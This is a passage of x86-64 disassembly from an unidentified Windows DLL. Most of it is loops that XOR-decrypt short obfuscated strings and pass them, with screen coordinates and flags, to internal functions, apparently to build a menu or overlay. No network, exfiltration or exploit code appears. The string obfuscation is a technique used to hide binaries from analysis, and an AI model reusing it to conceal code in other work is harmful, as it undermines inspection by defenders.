jl 0x180085ee0
cmp r8d, 0x6a
jge 0x180086024
movsxd rax, r8d
lea r9, [rbp + 0x2e80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x6a
jl 0x180085ff0
lea r8, [rbp + 0x2e80]
mov edx, 2
lea rcx, [rbp + 0x3160]
call fcn.1800641d0
lea rcx, [rbp + 0x3160]
call fcn.18006f4e0
movzx eax, byte [0x180248f76]
mov byte [0x18024dc00], 1
test al, al
jne 0x180086061
mov byte [0x18024dc00], r14b
call fcn.180016950
addss xmm0, xmm7
call fcn.180025760
movups xmm0, xmmword [str.fBKQ]
movups xmmword [rbp + 0x1eb0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800861e4
cmp r12d, 2
jl 0x1800861a5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1eb4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800860b0
jmp 0x1800861e4
lea r9, [rbp + 0x1eb0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800861b0
lea rdx, [0x180248f77]
lea rcx, [rbp + 0x1eb0]
call fcn.1800032d0
jmp 0x180086201
movss xmm7, dword [0x1801ad7d4]
cmp byte [0x1801c2c37], r14b
mov rax, qword [0x1801c2c30]
mov qword [rbp + 0x3b8], rax
je 0x180086354
cmp r12d, 2
jl 0x18008630f
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x3b8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x3b8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x3bc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x3bc], xmm2
jmp 0x180086354
lea r9, [rbp + 0x3b8]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180086320
lea rdx, [0x180248f81]
lea rcx, [rbp + 0x3b8]
call fcn.1800032d0
mov eax, dword [0x1801c2c38]
lea rdx, [0x180248f6d]
mov dword [rbp + 0x1b0], eax
lea rcx, [rbp + 0x1b0]
movzx eax, word [0x1801c2c3c]
xor byte [rbp + 0x1b1], 0x37
xor byte [rbp + 0x1b2], 0x38
xor byte [rbp + 0x1b3], 0x39
mov word [rbp + 0x1b4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1b4], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1b5], 0x3b
mov byte [rbp + 0x1b6], al
mov byte [rbp + 0x1b0], Ordinal_79
call fcn.1800032d0
cmp byte [0x180248f6d], r14b
je 0x180086577
call fcn.180016950
addss xmm0, xmm7
call fcn.180025760
movzx eax, byte [0x1801c2c50]
mov r8d, r14d
mov byte [rbp + 0x2050], al
movups xmm0, xmmword [0x1801c2c40]
movups xmmword [rbp + 0x2040], xmm0
cmp r12d, 2
jl 0x18008651d
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2044]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180086422
cmp r8d, 0x11
jge 0x180086564
movsxd rax, r8d
lea r9, [rbp + 0x2040]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180086530
lea rdx, [0x180248f6e]
lea rcx, [rbp + 0x2040]
call fcn.1800032d0
cmp byte [0x1801c2c61], r14b
lea rdx, [0x180248f97]
movsd xmm0, qword [0x1801c2c58]
lea rcx, [rbp + 0x1098]
movzx eax, word [0x1801c2c60]
movsd qword [rbp + 0x1098], xmm0
mov word [rbp + 0x10a0], ax
je 0x1800865f2
xor byte [rbp + 0x1099], 0x37
xor byte [rbp + 0x109a], 0x38
xor byte [rbp + 0x109b], 0x39
xor byte [rbp + 0x109c], 0x3a
xor byte [rbp + 0x109d], 0x3b
xor byte [rbp + 0x109e], 0x3c
xor byte [rbp + 0x109f], 0x3d
xor byte [rbp + 0x10a0], 0x3e
xor byte [rbp + 0x10a1], 0x3f
mov byte [rbp + 0x1098], 0x41
call fcn.1800032d0
movzx eax, word [0x1801c2c70]
lea rdx, [0x180248fb7]
movsd xmm0, qword [0x1801c2c68]
lea rcx, [rbp + 0x12d8]
movsd qword [rbp + 0x12d8], xmm0
xor byte [rbp + 0x12d9], 0x37
xor byte [rbp + 0x12da], 0x38
xor byte [rbp + 0x12db], 0x39
xor byte [rbp + 0x12dc], 0x3a
xor byte [rbp + 0x12dd], 0x3b
xor byte [rbp + 0x12de], 0x3c
xor byte [rbp + 0x12df], 0x3d
mov word [rbp + 0x12e0], ax
movzx eax, byte [0x1801c2c72]
xor byte [rbp + 0x12e0], 0x3e
xor al, 0x40
xor byte [rbp + 0x12e1], 0x3f
mov byte [rbp + 0x12e2], al
mov byte [rbp + 0x12d8], 0x41
call fcn.1800032d0
cmp byte [0x1801c2c83], r14b
movsd xmm0, qword [str.bV_]
mov eax, dword [0x1801c2c80]
movsd qword [rbp + 0x1598], xmm0
mov dword [rbp + 0x15a0], eax
je 0x1800867e4
mov r8d, r14d
cmp r12d, 2
jl 0x1800867a0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.bV_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1598], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x159c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x159c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1598]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800867b0
lea rdx, [0x180248f80]
lea rcx, [rbp + 0x1598]
call fcn.1800032d0
movzx eax, word [0x1801c2c90]
lea rdx, [0x180248f93]
movsd xmm0, qword [str.eBHHevHSO_]
lea rcx, [rbp + 0x1288]
movsd qword [rbp + 0x1288], xmm0
xor byte [rbp + 0x1289], 0x37
xor byte [rbp + 0x128a], 0x38
xor byte [rbp + 0x128b], 0x39
xor byte [rbp + 0x128c], 0x3a
xor byte [rbp + 0x128d], 0x3b
xor byte [rbp + 0x128e], 0x3c
xor byte [rbp + 0x128f], 0x3d
mov word [rbp + 0x1290], ax
movzx eax, byte [0x1801c2c92]
xor byte [rbp + 0x1290], 0x3e
xor al, 0x40
xor byte [rbp + 0x1291], 0x3f
mov byte [rbp + 0x1292], al
mov byte [rbp + 0x1288], 0x53
call fcn.1800032d0
movzx ecx, word [0x1801c2ca0]
lea rdx, [0x180248f92]
movzx eax, byte [0x1801c2ca2]
movsd xmm0, qword [str.tRYJNevHSO_]
xor al, 0x40
movsd qword [rbp + 0x12f8], xmm0
xor byte [rbp + 0x12f9], 0x37
xor byte [rbp + 0x12fa], 0x38
xor byte [rbp + 0x12fb], 0x39
xor byte [rbp + 0x12fc], 0x3a
xor byte [rbp + 0x12fd], 0x3b
xor byte [rbp + 0x12fe], 0x3c
xor byte [rbp + 0x12ff], 0x3d
mov word [rbp + 0x1300], cx
xor cl, 0x3e
xor byte [rbp + 0x1301], 0x3f
mov byte [rbp + 0x1300], cl
lea rcx, [rbp + 0x12f8]
mov byte [rbp + 0x12f8], 0x42
mov byte [rbp + 0x1302], al
call fcn.1800032d0
mov eax, dword [0x1801c2cb0]
mov r8d, r14d
movsd xmm0, qword [0x1801c2ca8]
mov dword [rbp + 0x1cd8], eax
movzx eax, word [0x1801c2cb4]
mov word [rbp + 0x1cdc], ax
movzx eax, byte [0x1801c2cb6]
mov byte [rbp + 0x1cde], al
movsd qword [rbp + 0x1cd0], xmm0
cmp r12d, 2
jl 0x180086a36
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2ca8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1cd0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1cd4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1cd4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1cd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180086a50
lea rdx, [0x180248f91]
lea rcx, [rbp + 0x1cd0]
call fcn.1800032d0
movups xmm0, xmmword [0x1801c2cb8]
movups xmmword [rbp + 0x1ec0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180086c14
cmp r12d, 2
jl 0x180086bd5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ec4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180086ae0
jmp 0x180086c14
lea r9, [rbp + 0x1ec0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180086be0
lea rdx, [0x180248f82]
lea rcx, [rbp + 0x1ec0]
call fcn.1800032d0
cmp byte [0x1801c2cd5], r14b
mov eax, dword [0x1801c2cd0]
movsd xmm0, qword [0x1801c2cc8]
mov dword [rbp + 0x1aa8], eax
movzx eax, word [0x1801c2cd4]
mov word [rbp + 0x1aac], ax
movsd qword [rbp + 0x1aa0], xmm0
je 0x180086da4
mov r8d, r14d
cmp r12d, 2
jl 0x180086d58
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2cc8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1aa0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1aa4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1aa4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1aa0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180086d70
lea rdx, [0x180248f94]
lea rcx, [rbp + 0x1aa0]
call fcn.1800032d0
cmp byte [0x1801c2ce1], r14b
movsd xmm0, qword [str.pVS_]
movzx eax, word [0x1801c2ce0]
movsd qword [rbp + 0x1018], xmm0
mov word [rbp + 0x1020], ax
je 0x180086e24
xor byte [rbp + 0x1019], 0x37
xor byte [rbp + 0x101a], 0x38
xor byte [rbp + 0x101b], 0x39
xor byte [rbp + 0x101c], 0x3a
xor byte [rbp + 0x101d], 0x3b
xor byte [rbp + 0x101e], 0x3c
xor byte [rbp + 0x101f], 0x3d
xor byte [rbp + 0x1020], 0x3e
xor byte [rbp + 0x1021], 0x3f
mov byte [rbp + 0x1018], 0x46
lea r8, [0x180249528]
lea rdx, [0x180248f95]
lea rcx, [rbp + 0x1018]
call fcn.18006f020
cmp byte [0x1801c2cf3], r14b
movsd xmm0, qword [str.dRLLHU]
mov eax, dword [0x1801c2cf0]
movsd qword [rbp + 0x15a8], xmm0
mov dword [rbp + 0x15b0], eax
je 0x180086fa4
mov r8d, r14d
cmp r12d, 2
jl 0x180086f61
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dRLLHU]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15a8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15ac]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15ac], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15a8]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180086f70
lea r8, [0x180249524]
lea rdx, [0x180248f90]
lea rcx, [rbp + 0x15a8]
call fcn.18006f020
mov eax, dword [0x1801c2cf4]
lea r8, [0x18024952c]
mov dword [rbp + 0xe8], eax
lea rdx, [0x180248f83]
movzx eax, word [0x1801c2cf8]
lea rcx, [rbp + 0xe8]
xor byte [rbp + 0xe9], 0x37
xor byte [rbp + 0xea], 0x38
xor byte [rbp + 0xeb], 0x39
mov word [rbp + 0xec], ax
xor byte [rbp + 0xec], 0x3a
xor byte [rbp + 0xed], 0x3b
mov byte [rbp + 0xe8], 0x53
call fcn.18006f020
mov eax, dword [0x1801c2d10]
mov r8d, r14d
mov dword [rbp + 0x2638], eax
movzx eax, word [0x1801c2d14]
mov word [rbp + 0x263c], ax
movzx eax, byte [0x1801c2d16]
mov byte [rbp + 0x263e], al
movups xmm0, xmmword [0x1801c2d00]
movups xmmword [rbp + 0x2628], xmm0
cmp r12d, 2
jl 0x18008716b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x262c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180087070
cmp r8d, 0x17
jge 0x1800871b4
movsxd rax, r8d
lea r9, [rbp + 0x2628]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x180087180
lea rdx, [0x18024918a]
lea rcx, [rbp + 0x2628]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x3c0]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x3c0], 0x44070000
movss dword [rbp + 0x3c4], xmm0
call fcn.180025700
movzx ecx, word [0x1801c2d1c]
lea rdx, [rbp + 0x3c8]
mov eax, dword [0x1801c2d18]
mov r9d, 8
mov dword [rbp + 0x1b8], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1b9], 0x37
xor al, 0x3c
xor byte [rbp + 0x1ba], 0x38
xor byte [rbp + 0x1bb], 0x39
mov word [rbp + 0x1bc], cx
xor cl, 0x3a
xor byte [rbp + 0x1bd], 0x3b
mov byte [rbp + 0x1bc], cl
lea rcx, [rbp + 0x1b8]
mov dword [rbp + 0x3c8], 0x43a00000
mov dword [rbp + 0x3cc], 0x4405c000
mov byte [rbp + 0x1b8], Ordinal_79
mov byte [rbp + 0x1be], al
call fcn.18000fcc0
cmp byte [0x1801c2d29], r14b
movsd xmm0, qword [0x1801c2d20]
movzx eax, word [0x1801c2d28]
movsd qword [rbp + 0x10b8], xmm0
mov word [rbp + 0x10c0], ax
mov dword [rbp + 0x3d0], 0x43a00000
mov dword [rbp + 0x3d4], 0x433e0000
je 0x180087305
xor byte [rbp + 0x10b9], 0x37
xor byte [rbp + 0x10ba], 0x38
xor byte [rbp + 0x10bb], 0x39
xor byte [rbp + 0x10bc], 0x3a
xor byte [rbp + 0x10bd], 0x3b
xor byte [rbp + 0x10be], 0x3c
xor byte [rbp + 0x10bf], 0x3d
xor byte [rbp + 0x10c0], 0x3e
xor byte [rbp + 0x10c1], 0x3f
mov byte [rbp + 0x10b8], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x3d0]
mov r8b, 1
lea rcx, [rbp + 0x10b8]
call fcn.180003d00
lea rcx, [rbp + 0x3d8]
call fcn.180016840
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp]
movss xmm0, dword [rax]
mov eax, dword [str.RYU:]
mov dword [rbp], eax
movzx eax, byte [0x1801c2d30]
xor byte [rbp + 1], 0x37
xor al, 0x3a
xor byte [rbp + 2], 0x38
xor byte [rbp + 3], 0x39
mov byte [rbp + 4], al
movss dword [rbp + 0x3e0], xmm0
mov dword [rbp + 0x3e4], 0x41f00000
mov byte [rbp], 0x48
call fcn.180002c70
test al, al
je 0x18008739c
mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rax, qword [rcx + 8]
test rax, rax
je 0x18008739c
movss xmm0, dword [0x180248f9c]
movss dword [rax + 0x280], xmm0
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x3e8]
call fcn.180016840
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xf0]
movss xmm0, dword [rax]
mov eax, dword [0x1801c2d34]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1801c2d38]
xor byte [rbp + 0xf1], 0x37
xor byte [rbp + 0xf2], 0x38
xor byte [rbp + 0xf3], 0x39
mov word [rbp + 0xf4], ax
xor al, 0x3a
xor byte [rbp + 0xf5], 0x3b
mov byte [rbp + 0xf4], al
movss dword [rbp + 0x3f0], xmm0
mov dword [rbp + 0x3f4], 0x41f00000
mov byte [rbp + 0xf0], 0x41
call fcn.180002c70
test al, al
je 0x18008744f
